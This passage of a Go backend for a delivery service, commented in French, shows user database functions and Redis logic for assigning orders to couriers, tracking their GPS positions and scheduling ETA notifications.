|
||||
&user.ID,
|
||||
&createdAt,
|
||||
&updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la création de l'utilisateur: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetAllUsers récupère tous les utilisateurs
|
||||
func (d *Database) GetAllUsers() ([]*models.User, error) {
|
||||
query := `SELECT id, username, password, role, created_at, updated_at
|
||||
FROM users ORDER BY created_at DESC`
|
||||
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des utilisateurs: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var users []*models.User
|
||||
for rows.Next() {
|
||||
user := &models.User{}
|
||||
var createdAt, updatedAt time.Time
|
||||
err := rows.Scan(
|
||||
&user.ID,
|
||||
&user.Username,
|
||||
&user.Password,
|
||||
&user.Role,
|
||||
&createdAt,
|
||||
&updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors du scan de l'utilisateur: %w", err)
|
||||
}
|
||||
users = append(users, user)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
|
||||
}
|
||||
|
||||
return users, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetAllDeliveryMen() ([]*models.User, error) {
|
||||
query := `
|
||||
SELECT id, username, password, role
|
||||
FROM users
|
||||
WHERE role = 'livreur'
|
||||
`
|
||||
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des utilisateurs: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var users []*models.User
|
||||
|
||||
for rows.Next() {
|
||||
user := &models.User{}
|
||||
err := rows.Scan(
|
||||
&user.ID,
|
||||
&user.Username,
|
||||
&user.Password,
|
||||
&user.Role,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors du scan de l'utilisateur: %w", err)
|
||||
}
|
||||
users = append(users, user)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
|
||||
}
|
||||
|
||||
return users, nil
|
||||
}
|
||||
|
||||
// UpdateUser met à jour un utilisateur existant
|
||||
func (d *Database) UpdateUser(user *models.User) error {
|
||||
query := `UPDATE users
|
||||
SET username = $1, password = $2, role = $3, updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $4`
|
||||
|
||||
result, err := d.Exec(query, user.Username, user.Password, user.Role, user.ID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la mise à jour de l'utilisateur: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("utilisateur non trouvé")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteUser supprime un utilisateur
|
||||
func (d *Database) DeleteUser(id int) error {
|
||||
// Récupérer le rôle de l'utilisateur avant de le supprimer
|
||||
var role string
|
||||
err := d.QueryRow(`SELECT role FROM users WHERE id = $1`, id).Scan(&role)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return fmt.Errorf("utilisateur non trouvé")
|
||||
}
|
||||
return fmt.Errorf("erreur lors de la récupération du rôle: %w", err)
|
||||
}
|
||||
|
||||
// ✅ MODIFIÉ : Supprimer tous les tokens de l'utilisateur
|
||||
_ = d.RevokeAllUserTokens(id, role)
|
||||
|
||||
query := `DELETE FROM users WHERE id = $1`
|
||||
|
||||
result, err := d.Exec(query, id)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la suppression de l'utilisateur: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("utilisateur non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ Utilisateur supprimé (ID: %d, Role: %s)", id, role)
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetUserByID récupère un utilisateur par son ID
|
||||
func (d *Database) GetUserByID(id int) (*models.User, error) {
|
||||
user := &models.User{}
|
||||
query := `SELECT id, username, password, role, created_at, updated_at
|
||||
FROM users WHERE id = $1`
|
||||
|
||||
var createdAt, updatedAt time.Time
|
||||
err := d.QueryRow(query, id).Scan(
|
||||
&user.ID,
|
||||
&user.Username,
|
||||
&user.Password,
|
||||
&user.Role,
|
||||
&createdAt,
|
||||
&updatedAt,
|
||||
)
|
||||
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("utilisateur non trouvé")
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération de l'utilisateur: %w", err)
|
||||
}
|
||||
|
||||
return user, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetUserByUsername(username string) (*models.User, error) {
|
||||
user := &models.User{}
|
||||
query := `SELECT id, username, password, role
|
||||
FROM users WHERE username = $1`
|
||||
|
||||
err := d.QueryRow(query, username).Scan(
|
||||
&user.ID,
|
||||
&user.Username,
|
||||
&user.Password,
|
||||
&user.Role,
|
||||
)
|
||||
|
||||
// ✅ Vérifier sql.ErrNoRows et retourner une erreur
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("utilisateur non trouvé")
|
||||
}
|
||||
|
||||
// Autres erreurs
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération de l'utilisateur: %w", err)
|
||||
}
|
||||
|
||||
return user, nil
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"context"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/redis/go-redis/v9"
|
||||
)
|
||||
|
||||
var (
|
||||
Redis *redis.Client
|
||||
RedisCtx = context.Background()
|
||||
)
|
||||
|
||||
type CommandWithDistance struct {
|
||||
CommandID int
|
||||
Address string
|
||||
Lat float64
|
||||
Lng float64
|
||||
Distance float64
|
||||
EstimatedETA int
|
||||
QueueItem models.CommandQueue
|
||||
}
|
||||
|
||||
const (
|
||||
// Temps moyen estimé par livraison (en minutes)
|
||||
AVG_DELIVERY_TIME = 15
|
||||
// Nombre maximum de commandes par livreur
|
||||
MAX_COMMANDS_PER_DELIVERYMAN = 10
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// INITIALISATION DE REDIS
|
||||
// ============================================
|
||||
|
||||
func InitRedis() {
|
||||
host := getEnv("REDIS_HOST", "redis")
|
||||
port := getEnv("REDIS_PORT", "6379")
|
||||
password := os.Getenv("REDIS_PASSWORD")
|
||||
|
||||
addr := host + ":" + port
|
||||
|
||||
Redis = redis.NewClient(&redis.Options{
|
||||
Addr: addr,
|
||||
Password: password,
|
||||
DB: 0,
|
||||
})
|
||||
|
||||
_, err := Redis.Ping(RedisCtx).Result()
|
||||
if err != nil {
|
||||
log.Fatalf("❌ Erreur connexion Redis: %v", err)
|
||||
}
|
||||
|
||||
log.Println("⚡ Redis connecté")
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"math"
|
||||
)
|
||||
|
||||
// FindLeastLoadedDeliveryman trouve le livreur avec le moins de commandes ET qui peut accepter
|
||||
// ✅ Respecte le statut BUSY (queue >= 10)
|
||||
func (d *Database) FindLeastLoadedDeliveryman() (string, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil || len(keys) == 0 {
|
||||
return "", fmt.Errorf("aucun livreur trouvé")
|
||||
}
|
||||
|
||||
var leastLoaded string
|
||||
minQueueSize := int64(MAX_COMMANDS_PER_DELIVERYMAN + 1)
|
||||
|
||||
for _, key := range keys {
|
||||
username := key[len("delivery:status:"):]
|
||||
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
json.Unmarshal([]byte(data), &status)
|
||||
|
||||
// ✅ Ignorer les livreurs offline
|
||||
if status.Status == "offline" {
|
||||
continue
|
||||
}
|
||||
|
||||
// ✅ NOUVEAU: Vérifier si le livreur peut accepter des commandes
|
||||
if !d.CanDeliverymanAcceptCommands(username) {
|
||||
log.Printf("⏭️ [LEAST_LOADED] Skip %s: ne peut pas accepter", username)
|
||||
continue
|
||||
}
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", username)
|
||||
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
// Priorité aux livreurs disponibles (bonus de -1000)
|
||||
effectiveQueueSize := queueSize
|
||||
if status.Status == "available" {
|
||||
effectiveQueueSize -= 1000
|
||||
}
|
||||
|
||||
if effectiveQueueSize < minQueueSize {
|
||||
minQueueSize = effectiveQueueSize
|
||||
leastLoaded = username
|
||||
}
|
||||
}
|
||||
|
||||
if leastLoaded == "" {
|
||||
return "", fmt.Errorf("aucun livreur disponible")
|
||||
}
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", leastLoaded)
|
||||
actualQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
log.Printf("🎯 [LEAST_LOADED] %s sélectionné (%d/10 commandes)",
|
||||
leastLoaded, actualQueueSize)
|
||||
|
||||
return leastLoaded, nil
|
||||
}
|
||||
|
||||
// FindAvailableOrLeastLoadedDeliveryman trouve un livreur disponible ou le moins chargé
|
||||
// ✅ Respecte le statut BUSY
|
||||
func (d *Database) FindAvailableOrLeastLoadedDeliveryman() (string, string, int, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil || len(keys) == 0 {
|
||||
return "", "", 0, fmt.Errorf("aucun livreur trouvé")
|
||||
}
|
||||
|
||||
var bestDeliveryman string
|
||||
var bestStatus string
|
||||
bestQueueSize := int64(MAX_COMMANDS_PER_DELIVERYMAN + 1)
|
||||
|
||||
for _, key := range keys {
|
||||
username := key[len("delivery:status:"):]
|
||||
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
json.Unmarshal([]byte(data), &status)
|
||||
|
||||
if status.Status == "offline" {
|
||||
continue
|
||||
}
|
||||
|
||||
// ✅ NOUVEAU: Vérifier si le livreur peut accepter
|
||||
if !d.CanDeliverymanAcceptCommands(username) {
|
||||
continue
|
||||
}
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", username)
|
||||
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
// Priorité: available > busy avec moins de commandes
|
||||
if status.Status == "available" && queueSize == 0 {
|
||||
return username, "available", 0, nil
|
||||
}
|
||||
|
||||
if queueSize < bestQueueSize {
|
||||
bestQueueSize = queueSize
|
||||
bestDeliveryman = username
|
||||
bestStatus = status.Status
|
||||
}
|
||||
}
|
||||
|
||||
if bestDeliveryman == "" {
|
||||
return "", "", 0, fmt.Errorf("tous les livreurs sont au maximum de leur capacité")
|
||||
}
|
||||
|
||||
return bestDeliveryman, bestStatus, int(bestQueueSize), nil
|
||||
}
|
||||
|
||||
// GetLeastLoadedDeliverymanForced retourne le livreur avec le moins de commandes (SANS limite)
|
||||
// ⚠️ À utiliser uniquement pour assignation forcée par admin
|
||||
func (d *Database) GetLeastLoadedDeliverymanForced() (string, int64, error) {
|
||||
activeUsernames, err := d.GetAllActiveDeliverymenUsernames()
|
||||
if err != nil || len(activeUsernames) == 0 {
|
||||
return "", 0, fmt.Errorf("aucun livreur actif")
|
||||
}
|
||||
|
||||
var leastLoaded string
|
||||
var minQueueSize int64 = math.MaxInt64
|
||||
|
||||
for _, username := range activeUsernames {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", username)
|
||||
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
if queueSize < minQueueSize {
|
||||
minQueueSize = queueSize
|
||||
leastLoaded = username
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("⚠️ [FORCED] %s sélectionné (%d commandes - SANS LIMITE)",
|
||||
leastLoaded, minQueueSize)
|
||||
|
||||
return leastLoaded, minQueueSize, nil
|
||||
}
|
||||
|
||||
// AreAllDeliverymenAtCapacity vérifie si tous les livreurs ont atteint leur capacité max
|
||||
func (d *Database) AreAllDeliverymenAtCapacity() (bool, int, error) {
|
||||
activeUsernames, err := d.GetAllActiveDeliverymenUsernames()
|
||||
if err != nil || len(activeUsernames) == 0 {
|
||||
return false, 0, fmt.Errorf("aucun livreur actif")
|
||||
}
|
||||
|
||||
// Si un seul livreur, jamais à capacité max
|
||||
if len(activeUsernames) == 1 {
|
||||
return false, 1, nil
|
||||
}
|
||||
|
||||
atCapacityCount := 0
|
||||
for _, username := range activeUsernames {
|
||||
if !d.CanDeliverymanAcceptCommands(username) {
|
||||
atCapacityCount++
|
||||
}
|
||||
}
|
||||
|
||||
allAtCapacity := atCapacityCount == len(activeUsernames)
|
||||
|
||||
if allAtCapacity {
|
||||
log.Printf("🔴 [CAPACITY] TOUS les livreurs sont à capacité maximale (%d/%d)",
|
||||
atCapacityCount, len(activeUsernames))
|
||||
}
|
||||
|
||||
return allAtCapacity, len(activeUsernames), nil
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (d *Database) UpdateDeliveryPersonLocation(username string, lat, lon float64) error {
|
||||
// 1️⃣ Mettre à jour la position GPS dans Redis
|
||||
key := fmt.Sprintf("delivery:location:%s", username)
|
||||
location := map[string]interface{}{
|
||||
"latitude": lat,
|
||||
"longitude": lon,
|
||||
"last_update": time.Now().Unix(),
|
||||
}
|
||||
data, _ := json.Marshal(location)
|
||||
err := Redis.Set(RedisCtx, key, data, 1*time.Hour).Err()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur mise à jour position: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("📍 Position GPS mise à jour pour %s: (%.6f, %.6f)", username, lat, lon)
|
||||
|
||||
// 2️⃣ ✅ NOUVEAU: Auto-initialiser/synchroniser le statut
|
||||
statusKey := fmt.Sprintf("delivery:status:%s", username)
|
||||
statusData, err := Redis.Get(RedisCtx, statusKey).Result()
|
||||
|
||||
if err != nil || statusData == "" {
|
||||
// ✅ Pas de statut → Créer "available" par défaut
|
||||
log.Printf("🆕 [INIT_STATUS] Création statut 'available' pour %s (première position GPS)", username)
|
||||
d.SetDeliveryPersonStatus(username, "available", 0)
|
||||
} else {
|
||||
// ✅ Statut existe → Vérifier s'il faut le réactiver
|
||||
var status models.DeliveryPersonStatus
|
||||
json.Unmarshal([]byte(statusData), &status)
|
||||
|
||||
if status.Status == "offline" {
|
||||
// Si le livreur était offline et envoie sa position → Le remettre available
|
||||
log.Printf("🔄 [REACTIVATE] %s passe de 'offline' à 'available' (position GPS reçue)", username)
|
||||
d.SetDeliveryPersonStatus(username, "available", 0)
|
||||
} else {
|
||||
// ✅ Statut actif → Synchroniser basé sur la queue
|
||||
go d.UpdateDeliverymanStatusBasedOnQueue(username)
|
||||
}
|
||||
}
|
||||
|
||||
// 3️⃣ Publier l'événement de mise à jour de position
|
||||
d.PublishDeliveryPersonLocationUpdate(username, lat, lon)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetDeliveryPersonLocation récupère la position d'un livreur
|
||||
func (d *Database) GetDeliveryPersonLocation(username string) (float64, float64, error) {
|
||||
key := fmt.Sprintf("delivery:location:%s", username)
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("position non trouvée pour %s: %w", username, err)
|
||||
}
|
||||
|
||||
if data == "" {
|
||||
return 0, 0, fmt.Errorf("aucune donnée de position pour %s", username)
|
||||
}
|
||||
|
||||
var location map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(data), &location); err != nil {
|
||||
return 0, 0, fmt.Errorf("erreur parsing JSON Redis: %w", err)
|
||||
}
|
||||
|
||||
// Extraire latitude avec gestion de type robuste
|
||||
var lat, lon float64
|
||||
if v, ok := location["latitude"]; ok && v != nil {
|
||||
switch val := v.(type) {
|
||||
case float64:
|
||||
lat = val
|
||||
case float32:
|
||||
lat = float64(val)
|
||||
case int:
|
||||
lat = float64(val)
|
||||
case int64:
|
||||
lat = float64(val)
|
||||
case string:
|
||||
lat, _ = strconv.ParseFloat(val, 64)
|
||||
}
|
||||
}
|
||||
|
||||
// Extraire longitude avec gestion de type robuste
|
||||
if v, ok := location["longitude"]; ok && v != nil {
|
||||
switch val := v.(type) {
|
||||
case float64:
|
||||
lon = val
|
||||
case float32:
|
||||
lon = float64(val)
|
||||
case int:
|
||||
lon = float64(val)
|
||||
case int64:
|
||||
lon = float64(val)
|
||||
case string:
|
||||
lon, _ = strconv.ParseFloat(val, 64)
|
||||
}
|
||||
}
|
||||
|
||||
if lat == 0 && lon == 0 {
|
||||
return 0, 0, fmt.Errorf("coordonnées invalides (0,0) pour %s", username)
|
||||
}
|
||||
|
||||
return lat, lon, nil
|
||||
}
|
||||
@@ -0,0 +1,196 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/services"
|
||||
"log"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/redis/go-redis/v9"
|
||||
)
|
||||
|
||||
func (d *Database) SetCommandETA(commandID, minutes int) error {
|
||||
key := fmt.Sprintf("command:eta:%d", commandID)
|
||||
|
||||
now := time.Now()
|
||||
arrivalTime := now.Add(time.Duration(minutes) * time.Minute)
|
||||
|
||||
eta := map[string]interface{}{
|
||||
"command_id": commandID,
|
||||
"total_eta_minutes": minutes,
|
||||
"eta_minutes": minutes,
|
||||
"wait_time_minutes": 0,
|
||||
"travel_time_minutes": minutes,
|
||||
"queue_position": 1,
|
||||
"updated_at": now.Unix(),
|
||||
"arrival_time": arrivalTime.Unix(),
|
||||
"estimated_arrival": arrivalTime.Format(time.RFC3339),
|
||||
}
|
||||
|
||||
_, err := Redis.HSet(RedisCtx, key, eta).Result()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur sauvegarde ETA: %w", err)
|
||||
}
|
||||
|
||||
Redis.Expire(RedisCtx, key, 2*time.Hour)
|
||||
|
||||
d.ScheduleETANotifications(commandID, minutes)
|
||||
|
||||
log.Printf("✅ ETA défini pour commande %d: %d minutes (arrivée: %s)",
|
||||
commandID, minutes, arrivalTime.Format("15:04"))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetCommandETA récupère l'ETA d'une commande depuis Redis
|
||||
func (d *Database) GetCommandETA(commandID int) (map[string]string, error) {
|
||||
key := fmt.Sprintf("command:eta:%d", commandID)
|
||||
|
||||
etaData, err := Redis.HGetAll(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(etaData) == 0 {
|
||||
return nil, fmt.Errorf("aucun ETA trouvé pour la commande %d", commandID)
|
||||
}
|
||||
|
||||
return etaData, nil
|
||||
}
|
||||
|
||||
// CheckCommandETAExists vérifie si un ETA existe pour une commande
|
||||
func (d *Database) CheckCommandETAExists(commandID int) bool {
|
||||
key := fmt.Sprintf("command:eta:%d", commandID)
|
||||
exists, _ := Redis.Exists(RedisCtx, key).Result()
|
||||
return exists > 0
|
||||
}
|
||||
|
||||
// ScheduleETANotifications programme les notifications 5min et 3min
|
||||
func (d *Database) ScheduleETANotifications(commandID, etaMinutes int) error {
|
||||
arrivalTime := time.Now().Add(time.Duration(etaMinutes) * time.Minute)
|
||||
|
||||
if etaMinutes > 5 {
|
||||
notify5min := arrivalTime.Add(-5 * time.Minute).Unix()
|
||||
Redis.ZAdd(RedisCtx, "notifications:scheduled", redis.Z{
|
||||
Score: float64(notify5min),
|
||||
Member: fmt.Sprintf("%d:5min", commandID),
|
||||
})
|
||||
}
|
||||
|
||||
if etaMinutes > 3 {
|
||||
notify3min := arrivalTime.Add(-3 * time.Minute).Unix()
|
||||
Redis.ZAdd(RedisCtx, "notifications:scheduled", redis.Z{
|
||||
Score: float64(notify3min),
|
||||
Member: fmt.Sprintf("%d:3min", commandID),
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("✅ Notifications programmées pour commande %d (ETA: %d min)", commandID, etaMinutes)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ProcessScheduledNotifications traite les notifications à envoyer
|
||||
func (d *Database) ProcessScheduledNotifications() error {
|
||||
now := float64(time.Now().Unix())
|
||||
|
||||
results, err := Redis.ZRangeByScore(RedisCtx, "notifications:scheduled", &redis.ZRangeBy{
|
||||
Min: "0",
|
||||
Max: strconv.FormatFloat(now, 'f', 0, 64),
|
||||
}).Result()
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, result := range results {
|
||||
parts := splitNotificationKey(result)
|
||||
commandID, _ := strconv.Atoi(parts[0])
|
||||
notifType := parts[1]
|
||||
|
||||
d.SendETANotification(commandID, notifType)
|
||||
Redis.ZRem(RedisCtx, "notifications:scheduled", result)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SendETANotification envoie une notification ETA
|
||||
func (d *Database) SendETANotification(commandID int, notifType string) {
|
||||
message := fmt.Sprintf("Votre commande #%d arrive dans %s", commandID, notifType)
|
||||
|
||||
channel := fmt.Sprintf("notifications:command:%d", commandID)
|
||||
Redis.Publish(RedisCtx, channel, message)
|
||||
|
||||
log.Printf("📢 Notification envoyée: %s", message)
|
||||
}
|
||||
|
||||
// CalculateETAForDeliveryman calcule l'ETA entre un livreur et une destination
|
||||
func (d *Database) CalculateETAForDeliveryman(deliveryman string, destLat, destLng float64) int {
|
||||
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Position livreur %s non trouvée, utilisation ETA par défaut", deliveryman)
|
||||
return services.MinETA
|
||||
}
|
||||
|
||||
from := services.Coordinates{
|
||||
Latitude: livreurLat,
|
||||
Longitude: livreurLng,
|
||||
}
|
||||
to := services.Coordinates{
|
||||
Latitude: destLat,
|
||||
Longitude: destLng,
|
||||
}
|
||||
|
||||
distance := services.CalculateDistance(from, to)
|
||||
eta := services.CalculateETA(distance)
|
||||
|
||||
log.Printf("📍 ETA calculé pour %s: %.2f km -> %d min", deliveryman, distance, eta)
|
||||
|
||||
return eta
|
||||
}
|
||||
|
||||
// CalculateDistanceBetweenPoints calcule la distance entre deux points
|
||||
func (d *Database) CalculateDistanceBetweenPoints(lat1, lng1, lat2, lng2 float64) float64 {
|
||||
from := services.Coordinates{Latitude: lat1, Longitude: lng1}
|
||||
to := services.Coordinates{Latitude: lat2, Longitude: lng2}
|
||||
return services.CalculateDistance(from, to)
|
||||
}
|
||||
|
||||
// CalculateETABetweenPoints calcule l'ETA entre deux points
|
||||
func (d *Database) CalculateETABetweenPoints(lat1, lng1, lat2, lng2 float64) int {
|
||||
distance := d.CalculateDistanceBetweenPoints(lat1, lng1, lat2, lng2)
|
||||
return services.CalculateETA(distance)
|
||||
}
|
||||
|
||||
func (d *Database) GetDeliverymanQueueStats(deliveryman string) (map[string]interface{}, error) {
|
||||
return d.GetDeliverymanQueueInfo(deliveryman)
|
||||
}
|
||||
|
||||
func (d *Database) SetCommandETAWithDetails(commandID, totalETA, queuePosition int) error {
|
||||
key := fmt.Sprintf("command:eta:%d", commandID)
|
||||
|
||||
now := time.Now()
|
||||
arrivalTime := now.Add(time.Duration(totalETA) * time.Minute)
|
||||
|
||||
eta := map[string]interface{}{
|
||||
"command_id": commandID,
|
||||
"total_eta_minutes": totalETA,
|
||||
"queue_position": queuePosition,
|
||||
"updated_at": now.Unix(),
|
||||
"arrival_time": arrivalTime.Unix(),
|
||||
"estimated_arrival": arrivalTime.Format(time.RFC3339),
|
||||
}
|
||||
|
||||
_, err := Redis.HSet(RedisCtx, key, eta).Result()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur sauvegarde ETA: %w", err)
|
||||
}
|
||||
|
||||
Redis.Expire(RedisCtx, key, 4*time.Hour)
|
||||
|
||||
log.Printf("✅ ETA détaillé pour commande %d: Total=%dmin Position=%d",
|
||||
commandID, totalETA, queuePosition)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package db
|
||||
|
||||
import "fmt"
|
||||
|
||||
func extractCommandID(member interface{}) int {
|
||||
switch v := member.(type) {
|
||||
case int:
|
||||
return v
|
||||
case int64:
|
||||
return int(v)
|
||||
case float64:
|
||||
return int(v)
|
||||
case string:
|
||||
var id int
|
||||
fmt.Sscanf(v, "%d", &id)
|
||||
return id
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
func splitNotificationKey(key string) []string {
|
||||
for i, c := range key {
|
||||
if c == ':' {
|
||||
return []string{key[:i], key[i+1:]}
|
||||
}
|
||||
}
|
||||
return []string{key, ""}
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
// db/redis_position.go
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"math"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// GESTION DES POSITIONS GPS
|
||||
// ============================================
|
||||
// ============================================
|
||||
// LEGACY: UpdateLivreurPosition (compatibilité)
|
||||
// ============================================
|
||||
|
||||
// UpdateLivreurPosition met à jour la position GPS ET le statut du livreur (LEGACY)
|
||||
func (d *Database) UpdateLivreurPosition(authUsername string, lat, lon float64, status string) error {
|
||||
// 🔹 1️⃣ Validation du username côté serveur
|
||||
if authUsername == "" {
|
||||
return fmt.Errorf("username non fourni ou non authentifié")
|
||||
}
|
||||
|
||||
// 🔹 2️⃣ Validation des coordonnées GPS
|
||||
if !isValidCoordinates(lat, lon) {
|
||||
return fmt.Errorf("coordonnées GPS invalides")
|
||||
}
|
||||
|
||||
// 🔹 3️⃣ Mise à jour position GPS (Redis)
|
||||
positionKey := fmt.Sprintf("livreur:position:%s", authUsername)
|
||||
position := models.LivreurPosition{
|
||||
Latitude: lat,
|
||||
Longitude: lon,
|
||||
UpdatedAt: time.Now(),
|
||||
Status: status,
|
||||
}
|
||||
|
||||
positionData, err := json.Marshal(position)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur serialisation position: %w", err)
|
||||
}
|
||||
|
||||
if err := Redis.Set(RedisCtx, positionKey, positionData, 2*time.Hour).Err(); err != nil {
|
||||
return fmt.Errorf("erreur mise à jour position: %w", err)
|
||||
}
|
||||
|
||||
// 🔹 4️⃣ Mise à jour statut sécurisé
|
||||
statusKey := fmt.Sprintf("delivery:status:%s", authUsername)
|
||||
var deliveryStatus models.DeliveryPersonStatus
|
||||
|
||||
existingData, _ := Redis.Get(RedisCtx, statusKey).Result()
|
||||
if existingData != "" {
|
||||
json.Unmarshal([]byte(existingData), &deliveryStatus)
|
||||
deliveryStatus.Status = status
|
||||
deliveryStatus.LastUpdate = time.Now()
|
||||
} else {
|
||||
deliveryStatus = models.DeliveryPersonStatus{
|
||||
Username: authUsername,
|
||||
Status: status,
|
||||
CurrentCommand: 0,
|
||||
LastUpdate: time.Now(),
|
||||
}
|
||||
}
|
||||
|
||||
statusData, err := json.Marshal(deliveryStatus)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur serialisation statut: %w", err)
|
||||
}
|
||||
|
||||
if err := Redis.Set(RedisCtx, statusKey, statusData, 24*time.Hour).Err(); err != nil {
|
||||
return fmt.Errorf("erreur mise à jour statut: %w", err)
|
||||
}
|
||||
|
||||
// 🔹 5️⃣ Logs anonymisés (troncature)
|
||||
log.Printf("📍 Position GPS mise à jour pour %s: (lat: %.4f, lon: %.4f)", authUsername, truncate(lat), truncate(lon))
|
||||
log.Printf("✅ Statut mis à jour pour %s: %s", authUsername, status)
|
||||
|
||||
// 🔹 6️⃣ Publication événement sécurisée (à sécuriser côté subscriber)
|
||||
d.PublishDeliveryPersonLocationUpdate(authUsername, lat, lon)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetLivreurPosition récupère la position d'un livreur depuis Redis (LEGACY)
|
||||
func (d *Database) GetLivreurPosition(authUsername string) (*models.LivreurPosition, error) {
|
||||
if authUsername == "" {
|
||||
return nil, fmt.Errorf("username non fourni ou non authentifié")
|
||||
}
|
||||
|
||||
key := fmt.Sprintf("livreur:position:%s", authUsername)
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("position non trouvée: %w", err)
|
||||
}
|
||||
|
||||
var position models.LivreurPosition
|
||||
if err := json.Unmarshal([]byte(data), &position); err != nil {
|
||||
return nil, fmt.Errorf("erreur parsing position: %w", err)
|
||||
}
|
||||
|
||||
return &position, nil
|
||||
}
|
||||
|
||||
// Vérifie si la latitude et longitude sont valides
|
||||
func isValidCoordinates(lat, lon float64) bool {
|
||||
return !math.IsNaN(lat) && !math.IsNaN(lon) &&
